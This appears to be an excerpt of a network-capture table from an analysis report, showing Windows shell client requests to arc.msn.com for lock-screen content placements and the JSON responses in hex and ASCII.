/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032012Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f5497324a1574cb5a11921da96835ced&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338387&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAT5kCsploOOBN1NkLGQEPVHIgc6cJXN6B5MMTduJtvTy7coKa+m9TTQNhtjhmZHiSRyQV4POKMY5FSpixY5RZVZ7rTVQdpThCDECpwQZT7KiZzIntr+2txA4Axk77Yx9Wogya/wvHhPEBkR5Fv/S2zWQ8Aba/9XEMcP3rJfzhlWP/XvSIAp9tlxV6beP4fQSIhATnxSgAvmbOn+Hw3ktIbhlozy8knXTyra0/wRuW6WbYu421+T5RqAxf+CTBq71HnjeexrziPkJoHO23HfIbAAQOSj7SsLjEeL5Bnledv8Vw5R+wixbLzex9iLUznBtkGVo6B7cBH1mdu8FgGg2AcMQZgAAEKtYfdlB2Zbhf1oshkJzLcawAaIeBqQrdfgalmaawndBhlaRQv6N8IfO0061NsExZnGIPezrWQLsya/3qXOkhYUQ5fQccv2isk/oxH8TlGlsjhlqyxCGidK5uvehfPTXgsrDWpLh0ZI0AnA9Biqr/oKs9exCfrBAV4oE8HYpey9yJY1jaDWued+P7mYMYJ0aWTzV/rLTWIGeYINyelYfTkJQFKj+X+7F8iewLtm1qNBADpyJ6/9aY5CYylzP41NE7euBcjpYbC/feXq9mFoQuT6ODFotWl+gwVaIPc6/d1fkn/MIOSTAKlhT3gygqUg9qjk/veifIB1UnvyRIkCVu4WrxlpMIa4uoi5PnkXUKtookqqLd02/lWSVu9t0klgC1spt1ULJ56NKYU7gNX+Wu8a7Jb/4Et9tF6mk2I309uYOVyPwQPQ8gc1572PJNizENRRG5o2sc1A2qECsufahr09g22MNp6n9FQWKwObG48O1lWD3jloW/4QVUu47A54Dc1FeAGMLvWviLKGzhWhli7WmxYxLJpf/DYHvi3lNp9xtUZa6lxGe5G2/PWNrI9pSivQlX/ywQlVUOeEJbAtQSrlu7NcB&p= Cache-Control: no-cache MS-CV: gf7tiTfAt0G6doBb.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:20 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 21472 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: tzg4LOG0p3S+rAYdyQwCrTMABTnjjD5+gO8r2yNF7Jon5Dx8JqonI3YAQzBf+GDU4amHJSVe+xt7aNMGyCbKbrUPRXb6n3g906SJe0oKM5TUlQw5MPAotbBuTUghtDV1R1fLwb3tS1HGsMwTj7b9QH08T4eciqaryeFWmBOp5HikBnnpga9YPLFG49y955co928PrJTWABaX+la9w4W0d3O8U7NjI46s9Ko18Z7+589FjV4I4jzD5DB06ATHUMLIFV/ij8Gf2wNdP0uE2EWUBBGMd8/fMXC6ebngICxcczPKGT5Xd6cvfZRI7YRaTKrzhVbuwuz360VCjm29SJGFsQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:20 GMT Connection: close
2024-11-24 03:20:20 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-24 03:20:20 UTC	5903	IN	Data Raw: 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 37 30 30 39 31 30 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 30 38 30 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 46 62 34 39 43 58 75 6f 6b 33 43 73 35 58 46 4c 5c 5c 75 30 30 32 42 30 70 57 36 67 62 41 4f 44 64 55 32 73 69 6f 46 78 49 75 43 6c 79 50 68 36 67 3d 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 39 32 30 2c 5c 22 69 6d 61 67 Data Ascii: geOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"},\"onRender\":{\"type\":\"action\"}},\"properties\":{\"landscapeImage\":{\"fileSize\":700910,\"height\":1080,\"sha256\":\"Fb49CXuok3Cs5XFL\\u002B0pW6gbAODdU2sioFxIuClyPh6g=\",\"width\":1920,\"imag

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49724	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=85189fec5e834f2daede8e3f480e46fa&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-280815&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZn3bvSDdkcKRMLZ7yBEdXdnWX8PIggkJDO/JTCOnwjNSa8Lv7Kylh2f6FCUGlNTVph8hOZjJs3Hy5gO+74bCfLriJidNAVoZizXl/GAIPpVReNsLoseyalxhVGOSnfc6YGKS53KfsX9VxyJEo8wFdiXVYTzTKzUj7kHG0ssDxTYrlfEnlWk3ZWgReY8byhigjKfhYGTIzWwSf41SX69Xlus/4IO+jIx2WcdGcmTiJvhOq+tC1iRajUkPFvOX0fS86gqgqkI0/4vb7gfot1vLAWS8VkQ5vSZZi48caWUDXp6tkHdEuCHJl/O4hc73+ztgTScA0TrXK1a/7GYmS8kIMoQZgAAEAC6nGY9NKJ8NXWhJ0XsLEuwAekrJpptb0UmlG4GGZiuvq4VzJLqsRyvb+jQ9czjcoDaV/gCXRYEDyBF3JqjcB4qUYz3FdO6IJS5zJSeYv4RoFqhCT1sUV2d1LlDMVoJQuQWWkGZBpuFK9cPAa5RijxJfM4j8+BwlqesJxurwl6zBXKlXV7QZaXnQVLNBAuEIQ7gAEc+0e+NOfCMbipGnNcXqTKBzyLUIoCgMqz49RNBhjA1GcCXSbs6mOZbBSGHgRbiXLGJs0Luorfnn1TmwS4NuheFKB4BZ/qri6u/b5daH4sFJ4vph6avq4n61it3HQWINiG49CdPDpbmocYZGsA69ef8mWVqI3fcNTgDr1kvc7eUBZUY6v1IH1SOrAS1qcfqdui5xss7Q95KqfxKU23OI2FsmR60hOtJXbsGLUFUlcNFjZfNaQspn9NmXz+MwGD2v+JCAkn0l5XO8xJgBcwcms3noWLXB7NR0JLs8OGXUUAiEcAiSFrAKezdzQvlBHAbkfHq3nlNQLPfct4rjlVRI2XFgu5JIAF9LPW5N96NsCSrKFSO3kiubxRQrCF/YWVgyEh0RZ+HgqENwLIo5zCdA9cB&p= Cache-Control: no-cache MS-CV: gf7tiTfAt0G6doBb.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:20 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: WtXa1mrUzsW3vIA1c39jS0NoOCR9ZjW0fqGqnn0B5d7701lDYqIMXLeqNUDt0WyJOYNI4Y5a8Sa58ejHRMIczkBM+wHUXu7671bSczc803s3FxC0ZdyD8e++YHS4K/14hGva6AseNRxf3GSqJhRzKwd+ahT2eP0OFJ0gW02dNCPSGQ+wSpGtDG6oTfKo0+/ws5j3fzRxUurLVz8P22GkNo37i1Pv3nzMkZluqwG7uRXPH/E85YnnVaXa4B3ZvTyZao71ydJ07csuUPMlj6xPxShgCDeTWgwt835XH4pHvD5CBhZ9zy837s0X8MwJNOdt+cV1RViarsp4ZXJPSH1Bow== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:20 GMT Connection: close
2024-11-24 03:20:20 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49725	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=56ed776a4b7b426094846f6111a63aff&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338389&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAc1gvngDCueIJFYFAWR538yOeDSS7wsFKSU+fWWv34ifQFWwqpXj9c7kPKUGIxsYHXfjKxDqqGh9dZ9AA9GcH6Xde9zJRrQoW6N4+KvR7vcJ/e/S69njchoE/zcW2hUZsM8ou04FfYaNIN+aZLlniL8oXJxttKOs4RqGItZnxPPI5ZjOzAEnMDncI2YKCHIVc1xYGJcxn8PP9Ncpmgkk94b1rPuni3YzkgYbTvbCEbHGRHD7nYh8zPj5PoLQjgGfZTTx5o4w4TGvhhdHj7CQ7WswDkgTITKVUxPmRA4sycUBQYQRzizEYogr+l6pa7/Mo40dXOlFCnJzFVviGsPSMnsQZgAAEE22Rl3dP2Q0IC320SsDTfCwATKrJ4aoYuf12wu5+MqA6rIJMf2D5i9psIAV3kTbsj9aRpzouNzGENi0347v9UgKtsZ0sSAWVGS7M7k5VWy3tJOOiQUA70my9uzVTRSSeaPLxiboEOkzfWsYla3iuua9uF3eBltrp/5WZ0blqVucSVuoUoMvMNOBRTxEMpQ4aEDAVeuWjn8zMQLaVJcvObEMz9vCftDOu/g7XYIAXMV5HUQZ48fo1FJrCIx7FivgXryMCKFgKxkeOSRQrXraWVYNfxSQr4p0UJ+yHBYCzzwh6UiOtDmRz4dlgXdOIx2EGZIc7St8bw/J6T2lUP6f4N4unM78ChxuCM5a7Wfy2WPvdFFZQNXMWY/sGR9LATOXsV2ZRdeCVY5SVCrNl4vqFBe+CStarOBaIMg6/tizFeN7rAhalIL0vlyZAiEsosnWoqE2HUta4C1TbcS+weWGwV2PoiUicDnSwuOmjsJOnHJZZVZY8mGw7w/5WHRuKAMuuZY69QZxpkqy0gZ+MdnDFk5YJzQCqtp/2DCWVWX0uMIy30dN5PPYDPpHM7m3oywEPF4FpH3W9l44EczDgdSonoKMxdcB&p= Cache-Control: no-cache MS-CV: gf7tiTfAt0G6doBb.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:20 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3363 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: p0OyBe6J/cxQgi/BFh9C+pfXRpo8bSf+QDSf40rwpdyc4x9BOqKxGAtVAG7ih9Nf9na5YKJfU2VKz0G67opK6uQ559oAHEO1m0CvE/I6dtGMvjk7587M79gbrpHCV8GUBWMaAuyIu4M28mNFR0Coy3hgc4mHefSEHcXpKFQ/lp/Ybosz32/InAke5h2vHNIk/EPKMN7GiqtlqCMHDeNi4mX2KbhZQaeGM06j46Xcf3VfR+1e+JWB1G+IiJsqtOmcqtcO1p3TBH3FUAkKEU0aIIxUPvxrqy6FBPtEPKiOUcoNsDGxwq3ED5PJUzlomYVodHaZEwY6Es/dXIr9QSKr8A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:19 GMT Connection: close
2024-11-24 03:20:20 UTC	3363	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49727	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032013Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=cff20c0a33494f16b516467937d32151&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-310091&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p= Cache-Control: no-cache MS-CV: gf7tiTfAt0G6doBb.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:20 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1440 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: gs+fnhAFO9GUM52dwT4FjOxfpTy89uwyjI9d1YvLa5tnvIzHN9nXUbQiVskNFa9+EpYp4fMwq/vq55aQI5zIQhUPeU4vNMh6yrfD+OCGlJxNUuTgvr7X7YEtUYkOhsFcjQyjXFbn6bcXXbcCjk4x1i+mbQiyNKIeH+vVTUqJTxkE0jEA7n8kBxdFaqdEvGGADeBDK+Ajn73f5DuS9+8q3DRwFi6f37ubhIWe9ECo/+pohldyHJaPDKYAHUNhB8tPb0GCqEiRw4BygteM7SBdoIUiIhkNpelQSJ/t12xwftq7sgNEeGQD71qiLTRv7/QwH5QS+TrSBW7zdieX72oZdg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:20 GMT Connection: close
2024-11-24 03:20:20 UTC	1440	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

